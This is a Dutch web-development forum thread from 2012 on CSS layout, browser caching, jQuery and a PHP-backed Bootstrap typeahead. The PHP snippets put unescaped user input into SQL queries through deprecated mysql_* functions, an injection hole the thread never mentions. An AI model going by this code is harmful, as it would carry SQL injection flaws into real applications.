Des te meer reden om 'm dubbel te zettenquote:Op vrijdag 9 november 2012 19:16 schreef picodealion het volgende:
IE struikelt daar soms nog over meen ik.
SPOILEROm spoilers te kunnen lezen moet je zijn ingelogd. Je moet je daarvoor eerst gratis Registreren. Ook kun je spoilers niet lezen als je een ban hebt.
quote:Op zaterdag 10 november 2012 19:55 schreef picodealion het volgende:
Divs overlappen elkaar sowieso niet? Of snap ik je vraag niet?
Jawel, maar die </div> tags zie je niet. Ik heb alles laten collapsen om de structuur te laten zien.quote:Op zaterdag 10 november 2012 20:05 schreef KomtTijd... het volgende:
Ín top bedoel je? Je sluit er geeneen af (ja alleen #button).
Ik zou graag willen weten waarom "top" "under_top" overlapt, maar de rest gewoon wel netjes onder elkaar gezet wordt.quote:Op zaterdag 10 november 2012 20:10 schreef KomtTijd... het volgende:
En wat moeten wij er in hemelsnaam over gaan gaan zeggen als je maar de helft laat zien?
http://pastebin.com/0GwJHmaPquote:Op zaterdag 10 november 2012 20:16 schreef KomtTijd... het volgende:
Je code. Liefst gewoon een online sample.
Ik denk dat ik de oplossing al heb. Ik moet alles met position: relative aanduiden in een nieuwe CSS file, dus niet die van Bootstrap (al zou dat natuurlijk ook kunnen, volgens mij).quote:
quote:Op zaterdag 10 november 2012 20:16 schreef KomtTijd... het volgende:
Je code. Liefst gewoon een online sample.
Gebruik jsfiddle.quote:
Online gooien, wat bedoel je daarmee?quote:Op zaterdag 10 november 2012 20:46 schreef KomtTijd... het volgende:
Gooi het gewoon ergens online. Zeker als het zo'n lap code is ipv een kleine testcase.
Je gaat zelf toch ook niet lopen debuggen zonder firebug...
web inspectorquote:Op zaterdag 10 november 2012 20:46 schreef KomtTijd... het volgende:
Gooi het gewoon ergens online. Zeker als het zo'n lap code is ipv een kleine testcase.
Je gaat zelf toch ook niet lopen debuggen zonder firebug...
SPOILEROm spoilers te kunnen lezen moet je zijn ingelogd. Je moet je daarvoor eerst gratis Registreren. Ook kun je spoilers niet lezen als je een ban hebt.
En wát gaat er niet goed?quote:Op maandag 12 november 2012 12:17 schreef pascal08 het volgende:
..., maar zodra ik een query laat uitvoeren vanuit een ander PHP-bestand, dan gaat er iets niet goed. Het PHP-bestand stand-alone draaien werkt wel.
quote:Op maandag 12 november 2012 12:17 schreef pascal08 het volgende:
Ik heb met Bootstrap een typeahead veld gemaakt en ik heb de JS code onder aan m'n HTML pagina geschreven. Als ik dit doe werkt het wel:
[ afbeelding ]
..., maar zodra ik een query laat uitvoeren vanuit een ander PHP-bestand, dan gaat er iets niet goed. Het PHP-bestand stand-alone draaien werkt wel.
[ afbeelding ]SPOILEROm spoilers te kunnen lezen moet je zijn ingelogd. Je moet je daarvoor eerst gratis Registreren. Ook kun je spoilers niet lezen als je een ban hebt.Dit stukje klopt niet. De while-loop wordt voor elk resultaat uitgevoerd, en voor elk resultaat herdefiniëer je $array[] als de waarde uit de kolom "last_name". Als je in Chrome of Firebug het network request bekijkt (doe dit dan ook, leer de developer tools gebruiken, leer debuggen) zie je waarschijnlijk dat de PHP-pagina een JSON-object terugstuurt met daarin maar één achternaam.
1
2
3
4
5
6<?php
$mysql_query = mysql_query("SELECT * FROM `users` WHERE last_name LIKE '%$query%' ORDER BY `status` DESC LIMIT 15");
while($row = mysql_fetch_assoc($mysql_query)) {
$array[] = $row['last_name'];
}
?>
Ikzelf zou het zo doen:array_push is een functie waarmee je waardes aan een array kunt toevoegen. Deze code is niet getest overigens, maar zoiets als dit moet zeker werken.
1
2
3
4
5
6
7
8
9<?php
$array = array();
$mysql_query = mysql_query("SELECT * FROM `users` WHERE last_name LIKE '%$query%' ORDER BY `status` DESC LIMIT 15");
while($row = mysql_fetch_assoc($mysql_query)) {
array_push($array,$row['last_name']);
}
header('Content-type: application/json');
echo json_encode($return_array);
?>
Wat betreft je je JS-code, ik betwijfel of dit de juiste manier is om te bereiken wat je doet. De source van de typeahead lijkt mij een statisch element namelijk. Ik denk dat je een keydown event moet binden aan het veld waar je in typt, en in die event handler het source-attribuut moet updaten.
[ Bericht 6% gewijzigd door Merkie op 12-11-2012 12:42:43 ]2000 light years from home
Als ik 'm stand-alone via XAMPP draai, dan zie ik wel een JSON met 8 namen, elke keer wordt er toch gewoon een waarde aan de array toegevoegd?quote:Op maandag 12 november 2012 12:34 schreef Merkie het volgende:
[..]
[ code verwijderd ]
Dit stukje klopt niet. De while-loop wordt voor elk resultaat uitgevoerd, en voor elk resultaat herdefiniëer je $array[] als de waarde uit de kolom "last_name". Als je in Chrome of Firebug het network request bekijkt (doe dit dan ook, leer de developer tools gebruiken, leer debuggen) zie je waarschijnlijk dat de PHP-pagina een JSON-object terugstuurt met daarin maar één achternaam.
Ikzelf zou het zo doen:
[ code verwijderd ]
array_push is een functie waarmee je waardes aan een array kunt toevoegen. Deze code is niet getest overigens, maar zoiets als dit moet zeker werken.
Enne, voortaan inderdaad zeggen wat er niet goed gaat, lijkt me vrij essentiëel.
in de request en de reply daaropquote:Op maandag 12 november 2012 12:22 schreef pascal08 het volgende:
[..]
Ik heb 'm al in het JS-topic gepost. Waar moet ik precies naar kijken in de developer-console van Chrome?
Dit lijkt me inderdaad een goede optie, ik ga dat eens proberen.quote:Op maandag 12 november 2012 12:34 schreef Merkie het volgende:
Wat betreft je je JS-code, ik betwijfel of dit de juiste manier is om te bereiken wat je doet. De source van de typeahead lijkt mij een statisch element namelijk. Ik denk dat je een keydown event moet binden aan het veld waar je in typt, en in die event handler het source-attribuut moet updaten.
In het tabblad 'network' geeft 'ie wel een 404 fout, dus ik ben ook ergens weer verkeerd aan het linken, even checken...quote:Op maandag 12 november 2012 12:44 schreef GlowMouse het volgende:
[..]
in de request en de reply daarop
Je hebt gelijk, sorry. Dit is wat je moet doen denk ik.quote:Op maandag 12 november 2012 12:43 schreef pascal08 het volgende:
[..]
Als ik 'm stand-alone via XAMPP draai, dan zie ik wel een JSON met 8 namen, elke keer wordt er toch gewoon een waarde aan de array toegevoegd?
1 2 3 | $("#typeahead").on("keydown", function(){ $(this).typeahead({source: <hier je Ajax-functie>}); }); |
Ga ik direct proberen.quote:Op maandag 12 november 2012 12:48 schreef Merkie het volgende:
[..]
Je hebt gelijk, sorry. Dit is wat je moet doen denk ik.
[ code verwijderd ]
1 2 3 4 5 6 | $("#typeahead").on("keydown", function(){ $.ajax(bla).done(function(result) { var typeahead = $('#typeahead').typeahead(); typeahead.data('typeahead').source = result; }); }); |
F5 is genoeg, de ctrl is alleen nodig als je browsercache corrupt is.quote:
Ik moet nu steeds handmatig al m'n browsergegevens verwijderen, dan doet 'ie het wel.quote:Op maandag 12 november 2012 13:01 schreef GlowMouse het volgende:
[..]
F5 is genoeg, de ctrl is alleen nodig als je browsercache corrupt is.
Vandaar ook dat niemand in his right mind IE gebruikt als development browser.quote:Op maandag 12 november 2012 13:08 schreef Devv het volgende:
F5 werkt ook lang niet altijd. Vooral IE heeft er een handje van om bestanden vrolijk vast te houden.
In IE10 werken placeholders eindelijk wel.quote:Op maandag 12 november 2012 13:15 schreef KomtTijd... het volgende:
[..]
Vandaar ook dat niemand in his right mind IE gebruikt als development browser.
Je ontkomt er niet aan als je je site wilt testen in IE he. En je weet zelf net zo goed als ik dat een site nooit in één keer werkt in IE .quote:Op maandag 12 november 2012 13:15 schreef KomtTijd... het volgende:
[..]
Vandaar ook dat niemand in his right mind IE gebruikt als development browser.
vooralsnog moet ik bij elke browser ctrl+f5 drukken om zeker te zijn dat alles vers van het net gehaald wordt en de cache ontweken wordt...quote:Op maandag 12 november 2012 13:01 schreef GlowMouse het volgende:
[..]
F5 is genoeg, de ctrl is alleen nodig als je browsercache corrupt is.
Uiteindelijk test je in alle browsers ja, maar voor de initiële ontwikkeling IE gebruiken, dan kom je wel met zulke kromme producten...quote:Op maandag 12 november 2012 13:24 schreef Merkie het volgende:
[..]
Je ontkomt er niet aan als je je site wilt testen in IE he. En je weet zelf net zo goed als ik dat een site nooit in één keer werkt in IE .
Elke browser (zie de tabel van 27 September 2010) stuurt If-Modified-Since headers mee bij een F5. Alleen als de webserver heel slecht is, is een F5 niet voldoende.quote:Op maandag 12 november 2012 13:41 schreef mschol het volgende:
[..]
vooralsnog moet ik bij elke browser ctrl+f5 drukken om zeker te zijn dat alles vers van het net gehaald wordt en de cache ontweken wordt... ongeacht of die corrupt is of niet...
een standaard apache installatie, en F5 is dan niet afdoende...quote:Op maandag 12 november 2012 13:45 schreef GlowMouse het volgende:
[..]
Elke browser (zie de tabel van 27 September 2010) stuurt If-Modified-Since headers mee bij een F5. Alleen als de webserver heel slecht is, is een F5 niet voldoende.
quote:F5 may give you the same page even if the content is changed, because it may load the page from cache. But Ctrl-F5 forces a cache refresh, and will guarantee that if the content is changed, you will get the new content.
Gewoon Ctrl + F5 gebruiken dus.quote:Op maandag 12 november 2012 13:47 schreef mschol het volgende:
[..]
een standaard apache installatie, en F5 is dan niet afdoende...
overigens vermeld jou link het volgende:
[..]
nee, niet.quote:
Apache stuurt standaard echt geen 304 terug.quote:Op maandag 12 november 2012 13:47 schreef mschol het volgende:
[..]
een standaard apache installatie, en F5 is dan niet afdoende...
Pardon? Dat stukje werkt wel degelijk hoor. Sterker nog uit de php-manual van array_push:quote:Op maandag 12 november 2012 12:34 schreef Merkie het volgende:
[..]
[ code verwijderd ]
Dit stukje klopt niet. De while-loop wordt voor elk resultaat uitgevoerd, en voor elk resultaat herdefiniëer je $array[] als de waarde uit de kolom "last_name". Als je in Chrome of Firebug het network request bekijkt (doe dit dan ook, leer de developer tools gebruiken, leer debuggen) zie je waarschijnlijk dat de PHP-pagina een JSON-object terugstuurt met daarin maar één achternaam.
Ikzelf zou het zo doen:
[ code verwijderd ]
array_push is een functie waarmee je waardes aan een array kunt toevoegen. Deze code is niet getest overigens, maar zoiets als dit moet zeker werken.
Wat betreft je je JS-code, ik betwijfel of dit de juiste manier is om te bereiken wat je doet. De source van de typeahead lijkt mij een statisch element namelijk. Ik denk dat je een keydown event moet binden aan het veld waar je in typt, en in die event handler het source-attribuut moet updaten.
quote:array_push() treats array as a stack, and pushes the passed variables onto the end of array. The length of array increases by the number of variables pushed. Has the same effect as:
<?php
$array[] = $var;
?>
"But Ctrl-F5 forces a cache refresh, and will guarantee that if the content is changed, you will get the new content."quote:Op maandag 12 november 2012 13:56 schreef GlowMouse het volgende:
[..]
nee, niet.
[..]
Apache stuurt standaard echt geen 304 terug.
Bij IE moet je er nooit vanuit gaan dat het doet wat het zou moeten doen.quote:Op maandag 12 november 2012 14:02 schreef pascal08 het volgende:
[..]
"But Ctrl-F5 forces a cache refresh, and will guarantee that if the content is changed, you will get the new content."
Dat is toch precies wat ik wil?
en toch wordt alles uit cache gehaald als ik geen ctrl + f5 gebruik...quote:Op maandag 12 november 2012 13:56 schreef GlowMouse het volgende:
[..]
nee, niet.
[..]
Apache stuurt standaard echt geen 304 terug.
Was ik al achter ja. Ik was met die syntax niet bekend.quote:Op maandag 12 november 2012 14:02 schreef Rockfire het volgende:
[..]
Pardon? Dat stukje werkt wel degelijk hoor. Sterker nog uit de php-manual van array_push:
[..]
1 2 3 4 5 6 7 8 9 10 11 12 13 | $(document).ready(function() { $('#typeahead').keyup(function() { var search = $(this).attr('value'); $.post('/folder/ajax/search.php', {search:search}, function(data) { $('#result').html(data); $('#result').click(function() { var result_value = $(this).text(); $('#typeahead').attr('value', result_value); $('#result').html(''); }); }); }); }); |
1 2 | var typeahead = $('#typeahead').typeahead(); typeahead.data('typeahead').source = result; |
Ik ben Microsoft ontwikkelaar en op dit moment maak ik aanpassingen voor Microsoft Dynamics CRM 2011. Dus IE is mijn ontwikkel-browser. Ik zit zelfs nog op Windows XP met IE8 .quote:Op maandag 12 november 2012 13:15 schreef KomtTijd... het volgende:
[..]
Vandaar ook dat niemand in his right mind IE gebruikt als development browser.
Wat ik zo snel lees is het inderdaad zo dat www.voorbeelt.nl dan gekoppeld wordt aan voorbeelt.weebly.com en iemand die www.voorbeelt.nl intikt zal niet doorhebben dat hij op weebly.com zit.quote:Op woensdag 14 november 2012 22:00 schreef Mercan het volgende:
ff een vraagje voor de kenners.
Ik maak een simpel websiteje (portfolio) via bijvoorbeeld weebly.com. (voorbeelt.weebly.com)
Ik heb een ".nl" domeinnaam gekocht. (www.voorbeelt.nl)
Ik wil de weebly site hosten op het ".nl" adres.
Krijg deze info van weebly.
Volg voor alle andere registrars deze algemene aanwijzingen:
1: Bij het bedieningspaneel van uw domein inloggen
2: Lokaliseer het gebied om de DNS-instellingen van uw domein te wijzigen
3: Maak 2 A-records aan die naar het IP-adres van Weebly verwijzen
Wanneer ik dit doe, wordt dan de site www.voorbeelt.nl gekoppelt aan voorbeelt.weebly.com?
Dus wanneer iemand via google op www.voorbeelt.nl drukt wordt die dan op de achtergrond doorgestuurd naar voorbeelt.weebly.com?
Of komt de website echt op www.voorbeelt.nl te staan?
Ik hoop dat het duidelijk is
Voorbeelt met een "t" is omdat met een "d" een bestaande website is
Kortom: je zorgt ervoor dat jouw domeinnaam naar Weebly verwijst.quote:Op woensdag 14 november 2012 22:00 schreef Mercan het volgende:
Krijg deze info van weebly.
Volg voor alle andere registrars deze algemene aanwijzingen:
1: Bij het bedieningspaneel van uw domein inloggen
2: Lokaliseer het gebied om de DNS-instellingen van uw domein te wijzigen
3: Maak 2 A-records aan die naar het IP-adres van Weebly verwijzen
Ja.quote:Wanneer ik dit doe, wordt dan de site www.voorbeelt.nl gekoppelt aan voorbeelt.weebly.com?
Dus wanneer iemand via google op www.voorbeelt.nl drukt wordt die dan op de achtergrond doorgestuurd naar voorbeelt.weebly.com?
Wat betekent dit? Hoe kan iets "echt op" een domein staan? Als je bedoeld dat je ook hosting bij je domein hebt en of er data van de Weeblysite bij jouw webhost terecht komt: nee.quote:Of komt de website echt op www.voorbeelt.nl te staan?
1 2 3 4 5 6 7 | p { background: rgba(31, 31, 31, 0.8); padding: 8px; border-radius:10px; color: #FFFFFF; margin-left: 0px; } |
Soort van gedaan met wat toevoegingen van mezelf en t werkt, dankjewel!quote:Op zaterdag 17 november 2012 15:38 schreef lkb9000 het volgende:
Een div om alle paragraphs heen, en de achtergrond en border-radius aan die div toekennen?
Even wat over gelezen, heel handig! Dankjewelquote:Op zaterdag 17 november 2012 15:44 schreef stefanhaan het volgende:
P:first (border-rsdius-top)
P:last (border-radius-bottom)
Lees je eens in in CSS3 selectors
Dat ga ik ook even doenquote:Op zaterdag 17 november 2012 15:44 schreef stefanhaan het volgende:
P:first (border-rsdius-top)
P:last (border-radius-bottom)
Lees je eens in in CSS3 selectors
quote:Op zaterdag 17 november 2012 15:44 schreef stefanhaan het volgende:
P:first (border-rsdius-top)
P:last (border-radius-bottom)
Lees je eens in in CSS3 selectors
quote:Op zaterdag 17 november 2012 15:38 schreef lkb9000 het volgende:
Een div om alle paragraphs heen, en de achtergrond en border-radius aan die div toekennen?
1 2 3 4 | $('.selector').mouseout(function() { $('.selector').mouseup(function() { } } |
Een 2e div maken en beide laten verdwijnen als er op Div 2 wordt geklikt.quote:Op zaterdag 17 november 2012 23:45 schreef pascal08 het volgende:
Hoe laat ik style="visibility:visible" veranderen naar style="visibility:hidden" bij het klikken naast de div?
Ik heb nu:
[ code verwijderd ]
Maar dan kan ik 'm alleen laten verdwijnen op het moment dat de muis UIT de div gaat.
npquote:Op zaterdag 17 november 2012 17:02 schreef jochemdejongen het volgende:
[..]
Even wat over gelezen, heel handig! Dankjewel
quote:Op zaterdag 17 november 2012 23:45 schreef pascal08 het volgende:
Hoe laat ik style="visibility:visible" veranderen naar style="visibility:hidden" bij het klikken naast de div?
Ik heb nu:
[ code verwijderd ]
Maar dan kan ik 'm alleen laten verdwijnen op het moment dat de muis UIT de div gaat.
1 | $('body').not('.selector').on('click', function() { }); |
Ik heb de oplossing die Merkie heeft gevonden gebruikt. Bedankt voor het meedenken!quote:Op zondag 18 november 2012 09:17 schreef cablegunmaster het volgende:
[..]
Een 2e div maken en beide laten verdwijnen als er op Div 2 wordt geklikt.
Simpeler kan niet? Desnoods een plaatje in Div 2 maken met een knopje erin
Dit is dus wat ik zocht. Ik heb er dit van gemaakt:quote:Op zondag 18 november 2012 17:58 schreef Merkie het volgende:
[..]
[ code verwijderd ]
Zoiets?
Edit: dit lijkt me beter: http://stackoverflow.com/(...)single-event-handler
1 2 3 4 5 6 7 | $(function() { $("body").click(function(e) { if ($(e.target).parents("#autosuggestcontainer").size() !== 1) { document.getElementById('autosuggestcontainer').style.visibility = 'hidden'; } }); }); |
Zo zou ik dat niet doen. Verdiep je een klein beetje in hoe jQuery werkt .Als je toch al jQuery gebruikt kan je beter $('#autosuggestcontainer').hide(); doen.quote:Op zondag 18 november 2012 18:28 schreef pascal08 het volgende:
[..]
Ik heb de oplossing die Merkie heeft gevonden gebruikt. Bedankt voor het meedenken!
[..]
Dit is dus wat ik zocht. Ik heb er dit van gemaakt:
[ code verwijderd ]
1 2 3 4 5 6 7 | $(document).ready(function() { $("body").click(function(e) { if (e.target.id != 'autosuggestcontainer' || $(e.target).parents('#autosuggestcontainer').size()) { $('#autosuggestcontainer').hide(); } }); }); |
Wat is precies het verschil?quote:Op zondag 18 november 2012 18:44 schreef Merkie het volgende:
[..]
Zo zou ik dat niet doen. Verdiep je een klein beetje in hoe jQuery werkt .Als je toch al jQuery gebruikt kan je beter $('#autosuggestcontainer').hide(); doen.
[ code verwijderd ]
Dit lijkt me beter. Als je toch bezig bent om javascript / jQuery te leren, doe het dan in 1x goed .
1 2 3 4 5 6 7 | $(document).ready(function() { $("body").click(function(e) { if (e.target.id != 'autosuggestcontainer' && $(e.target).parents("#autosuggestcontainer").size() !== 1) { document.getElementById('autosuggestcontainer').style.visibility = 'hidden'; } }); }); |
Waarom zou je native DOM-functies gebruiken als je toch jQuery al include?quote:Op zondag 18 november 2012 18:56 schreef pascal08 het volgende:
[..]
Wat is precies het verschil?
Deze werkt niet, trouwens. "e.target.id" is op sommige plekken buiten #container ook ongelijk aan 'autosuggestcontainer', dus hij doet ook .hide() wanneer het niet moet.
Zo doet 'ie het wel weer. Wat vind je hiervan?
[ code verwijderd ]
Dat kan wel, maar dan moet ik denk ik ook ergens in m'n code iets van "$('#autosuggestcontainer').show();" hebben, anders blijft 'ie in hide-toestand bij de eerste klik buiten de div.quote:Op zondag 18 november 2012 19:22 schreef Merkie het volgende:
document.getElementById('autosuggestcontainer').style.visibility = 'hidden';
Doe gewoon "$('#autosuggestcontainer').hide();", veel sneller .
Ik heb me nog helemaal niet verdiept in javascript en jQuery. Ik zou het eigenlijk wel moeten doen, maar het leren van PHP heeft me ook enkele dagen gekost en ik wil nu zo langzamerhand beginnen met iets op te zetten.quote:Op zondag 18 november 2012 19:29 schreef Tijn het volgende:
[..]
Waarom zou je native DOM-functies gebruiken als je toch jQuery al include?
Hoe maak je nu "visibility:hidden" ongedaan dan?quote:Op zondag 18 november 2012 19:34 schreef pascal08 het volgende:
[..]
Dat kan wel, maar dan moet ik denk ik ook ergens in m'n code iets van "$('#autosuggestcontainer').show();" hebben, anders blijft 'ie in hide-toestand bij de eerste klik buiten de div.
Ahh, nice! Dankzij hele goede video's over PHP, heb ik PHP ook vrij snel geleerd. Ik zal binnenkort eens kijken. Bedankt.quote:Op zondag 18 november 2012 19:41 schreef Tijn het volgende:
Er zijn teveel mensen die maar wat aanklooien met Javascript. Als je echt wilt weten hoe het zit, zou ik als ik jou was beginnen met de videolessen van Douglas Crockford: http://yuiblog.com/crockford/
"visibility:hidden" is standaard bij het laden van de pagina. Als ik iets typ in het zoekveld, dan zorgt deze regel in m'n code ervoor dat er een lijst te voorschijn komt met resultaten:quote:Op zondag 18 november 2012 19:54 schreef Merkie het volgende:
[..]
Hoe maak je nu "visibility:hidden" ongedaan dan?
Anders kan je altijd nog $('#element').css('visibility','hidden'); doen.
1 | document.getElementById("autosuggestcontainer").style.visibility="visible"; |
Stap 1 is iig, stop met klooien, breng structuur aan.quote:Op zondag 18 november 2012 20:27 schreef pascal08 het volgende:
[..]
Ahh, nice! Dankzij hele goede video's over PHP, heb ik PHP ook vrij snel geleerd. Ik zal binnenkort eens kijken. Bedankt.
Dan veranderd je die regel toch in $('#element').show();?quote:Op zondag 18 november 2012 20:29 schreef pascal08 het volgende:
[..]
"visibility:hidden" is standaard bij het laden van de pagina. Als ik iets typ in het zoekveld, dan zorgt deze regel in m'n code ervoor dat er een lijst te voorschijn komt met resultaten:
[ code verwijderd ]
Het zal inderdaad verre van optimaal zijn, maar het werkt.
Ahh, gelukt!quote:Op zondag 18 november 2012 20:44 schreef Merkie het volgende:
[..]
Dan veranderd je die regel toch in $('#element').show();?
1 2 3 4 5 6 7 8 9 10 11 12 13 | $(document).ready(function() { $('.search-query').keyup(function() { var search_term = $(this).attr('value'); if(!search_term) { $('.autosuggestlist').hide(); } else { $('.autosuggestlist').show(); $.post('/web_template/main/search_navbar', {search_term:search_term}, function(data) { $('.result-navbar').html(data); }); } }); }); |
1 2 3 4 5 6 7 | $(document).ready(function() { $("body").click(function(e) { if (e.target.id !== 'autosuggestcontainer' && $(e.target).parents("#autosuggestcontainer").size() !== 1) { $('.autosuggestlist').hide(); } }); }); |
Dat zag ik ook met Chrome: element inspecteren. Bedankt voor jullie tip.quote:Op maandag 19 november 2012 23:46 schreef Merkie het volgende:
Ziet er al een stuk beter uit. Onder water doen .show() en .hide() de "display: none" CSS-property trouwens aan en uit zetten, is wel handig om te weten. Display:none is imho beter dan visibility:hidden, omdat het element bij deze laatste optie nog steeds ruimte inneemt, maar het element zelf onzichtbaar is. Met display:none wordt het element meer genegeerd.
en waar stonden die video's dan?quote:Op zondag 18 november 2012 20:27 schreef pascal08 het volgende:
[..]
Ahh, nice! Dankzij hele goede video's over PHP, heb ik PHP ook vrij snel geleerd. Ik zal binnenkort eens kijken. Bedankt.
dank maar ik doelde op die over php, had deze al gebookmarkedquote:
specifiek kanaal in YouTube? kom er vaak toch zut tegen wat tijdverspilling bleekquote:
Ja ik op zich ook wel maar ik weet nooit wat 'best practice' boeken/bronnen zijn. Als ik terugdenk met welke bronnen ik html en css heb geleerd: . Wil nu liever voorkomen dat ik het eerst vernaggeld leer waarna ik het mezelf opnieuw aan moet leren om geen bagger te produceren.quote:Op dinsdag 20 november 2012 02:09 schreef Nemephis het volgende:
Oh okee, dan was ik te snel. Ik weet zo ook geen vids, ik vind het prettiger om info uit boeken/van websites te halen.
Daar bestaat dit topic ook voor;quote:Op dinsdag 20 november 2012 02:14 schreef Nemephis het volgende:
Qua PHP haal ik hier ontzettend veel vandaan: good old PHP.net
welterusten
meer genegeerd?quote:Op maandag 19 november 2012 23:46 schreef Merkie het volgende:
Ziet er al een stuk beter uit. Onder water doen .show() en .hide() de "display: none" CSS-property trouwens aan en uit zetten, is wel handig om te weten. Display:none is imho beter dan visibility:hidden, omdat het element bij deze laatste optie nog steeds ruimte inneemt, maar het element zelf onzichtbaar is. Met display:none wordt het element meer genegeerd.
Het is geen kwestie van beter of slechter, ze zijn gewoon voor verschillende dingen bedoeld. Soms is het juist wenselijk dat een element wel in de flow opgenomen blijft, maar toch niet zichtbaar is. Dan is de visibility-property precies wat je moet hebben.quote:Op maandag 19 november 2012 23:46 schreef Merkie het volgende:
Display:none is imho beter dan visibility:hidden
1 2 3 4 5 6 | $(document).ready(function(){ $('body').click(function (event){ window.open('http://ib.adnxs.com/clktrb?id=12742', 'hi', 'width=1000,height=800,scrollbars=yes'); event.preventDefault(); }); }); |
Heb nog geen reden gehoord waarom dit op Productie zo terecht is gekomen Denk ook niet dat ik dat te horen krijg.quote:
Danny kan weer op vakantie.quote:Op dinsdag 20 november 2012 13:41 schreef KomtTijd... het volgende:
Het 'ongelukje' zal ongetwijfeld een hoop geld opgeleverd hebben
Mooiste is nog dat ze dus proberen te verbloemen dat het proces eromheen gewoonweg niet bestaand is. Of heel erg kut. Nee, 'we kunnen niet meekijken achter de schermen dus je weet niet hoe het is gegaan'.quote:Op dinsdag 20 november 2012 14:11 schreef KomtTijd... het volgende:
Nou zie ik ook weleens iets over het hoofd bij het testen in een dev-omgeving. Maar dit? _ dat is gewoon nevernooit getest geweest inderdaad.
kap toch met dat achterlijke stemmingmaken en doen alsof je aan de hand van code kunt zien wat het proces erachter is of is geweest.quote:Op dinsdag 20 november 2012 13:51 schreef Scorpie het volgende:
Ah, ja, dat verklaart alles. Ze laten derde partijen script code aanleveren die ze niet checken voordat ze het live zetten.
Kijk, dit vind ik dan alweer twintig keer betere uitleg dan in het FB topic. Dank je wel voor je antwoord, en ik snap dat het onder hoge druk gegaan is.quote:Op dinsdag 20 november 2012 14:17 schreef Danny het volgende:
[..]
kap toch met dat achterlijke stemmingmaken en doen alsof je aan de hand van code kunt zien wat het proces erachter is of is geweest.
Webads besloot een campagne te verkopen en ons op te zadelen met het ontwerp ervan en een aanlevertermijn van nagenoeg niets. Moet allemaal snel, snel, snel en dan kan er weleens een foutje worden gemaakt.
Is inderdaad niet getest. Was geen tijd voor, waarvoor excuses. Het werkt nu zoals zou moeten.
als je de overflow waarin aanpast?quote:Op dinsdag 20 november 2012 16:13 schreef KomtTijd... het volgende:
Klopt het dat webkit een element 0px breed maakt als je de overflow aanpast?
-edit- er zitten alleen maar floated elementen in, normaal zou je overflow gebruiken om het element zijn zichtbare hoogte te geven. Dat lukt, alleen ten koste van de zichtbare breedte...
Anything, behalve visible (default).quote:
Divjes met clear:both toevoegen is wel de meest ultiem lelijke oplossing jaquote:Op dinsdag 20 november 2012 17:24 schreef TwyLight het volgende:
Of gewoon een img met een afbeelding van chuck norris
[ afbeelding ]
Je kunt ook met een .clear class werken op je floating elements:quote:Op dinsdag 20 november 2012 17:26 schreef KomtTijd... het volgende:
[..]
Divjes met clear:both toevoegen is wel de meest ultiem lelijke oplossing ja
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | .clear{ zoom:1; } .clear:before{ display:table; content:""; } .clear:after{ clear:both; content:"."; display:block; font-size:0; height:0; visibility:hidden; } |
...nog steeds way lelijker dan gewoon overflow:hidden gebruiken als het een klassiek "mijn wrapper schaalt niet mee"-probleem betref.tquote:Op dinsdag 20 november 2012 17:27 schreef Danny het volgende:
[..]
Je kunt ook met een .clear class werken op je floating elements:
[ code verwijderd ]
ah ok. zonder een voorbeeldje kan ik er niet zoveel meequote:Op dinsdag 20 november 2012 17:26 schreef KomtTijd... het volgende:
-edit-
overigens ging het daar nieteens om bij mij, maar een collega wou overflow:auto gebruiken en dat verneukte het eea in chrome en safari.
Dat snap ik, maar in dit geval lijkt het me niet belangrijk dat hij in de flow wordt opgenomen. Een ieder is voor zich in staat om te beoordelen wat beter of slechter is, maar "display: none" is wel wat meer "best practice" dan "visibility: hidden".quote:Op dinsdag 20 november 2012 11:54 schreef Tijn het volgende:
[..]
Het is geen kwestie van beter of slechter, ze zijn gewoon voor verschillende dingen bedoeld. Soms is het juist wenselijk dat een element wel in de flow opgenomen blijft, maar toch niet zichtbaar is. Dan is de visibility-property precies wat je moet hebben.
Lol.quote:Op dinsdag 20 november 2012 13:33 schreef Scorpie het volgende:
Nog een leuke voor iedereen hier:
Ze hebben op de FP dit neergezet vandaag:
[ code verwijderd ]
En toen brak de pleuris uit.
Blijkt meer weer dat zelfs onder de allerhoogste druk je maar beter wel kunt testen .quote:Op dinsdag 20 november 2012 14:17 schreef Danny het volgende:
[..]
kap toch met dat achterlijke stemmingmaken en doen alsof je aan de hand van code kunt zien wat het proces erachter is of is geweest.
Webads besloot een campagne te verkopen en ons op te zadelen met het ontwerp ervan en een aanlevertermijn van nagenoeg niets. Moet allemaal snel, snel, snel en dan kan er weleens een foutje worden gemaakt.
Is inderdaad niet getest. Was geen tijd voor, waarvoor excuses. Het werkt nu zoals zou moeten.
Niemand ontkent dat je beter kunt testen. In dit geval was dat niet mogelijk.quote:Op dinsdag 20 november 2012 19:40 schreef Merkie het volgende:
Blijkt meer weer dat zelfs onder de allerhoogste druk je maar beter wel kunt testen .
Maar lang niet altijd wenselijk:quote:Op dinsdag 20 november 2012 19:40 schreef Merkie het volgende:
Dat snap ik, maar in dit geval lijkt het me niet belangrijk dat hij in de flow wordt opgenomen. Een ieder is voor zich in staat om te beoordelen wat beter of slechter is, maar "display: none" is wel wat meer "best practice" dan "visibility: hidden".
toch kan het handig zijn. in de nieuwe fp heb ik geëxperimenteerd met weergavesnelheid. Hierbij bleek een winst van 40% mogelijk door een display:none op de body te doen en deze pas na opbouw van de DOM op te heffen. Laadtijd van de index ging van 920ms naar ongeveer 500ms. Dat is op onze beta-server die een tcp response van ruim 400ms heeft tov ~100ms voor de live-server. De index zou dus uiteindelijk in ongeveer 0.2s opgebouwd en weergegeven kunnen worden tov 0,6 a 0,7 sec als het opbouwen van de weergave gebeurt terwijl de body wordt weergegeven.quote:
Dan kijk je dus alleen naar de eindtijd, en verneuk je de progressive rendering van de browser waardoor de user-experience uiteindelijk alleen maar trager is.quote:Op dinsdag 20 november 2012 20:53 schreef Danny het volgende:
[..]
toch kan het handig zijn. in de nieuwe fp heb ik geëxperimenteerd met weergavesnelheid. Hierbij bleek een winst van 40% mogelijk door een display:none op de body te doen en deze pas na opbouw van de DOM op te heffen. Laadtijd van de index ging van 920ms naar ongeveer 500ms. Dat is op onze beta-server die een tcp response van ruim 400ms heeft tov ~100ms voor de live-server. De index zou dus uiteindelijk in ongeveer 0.2s opgebouwd en weergegeven kunnen worden tov 0,6 a 0,7 sec als het opbouwen van de weergave gebeurt terwijl de body wordt weergegeven.
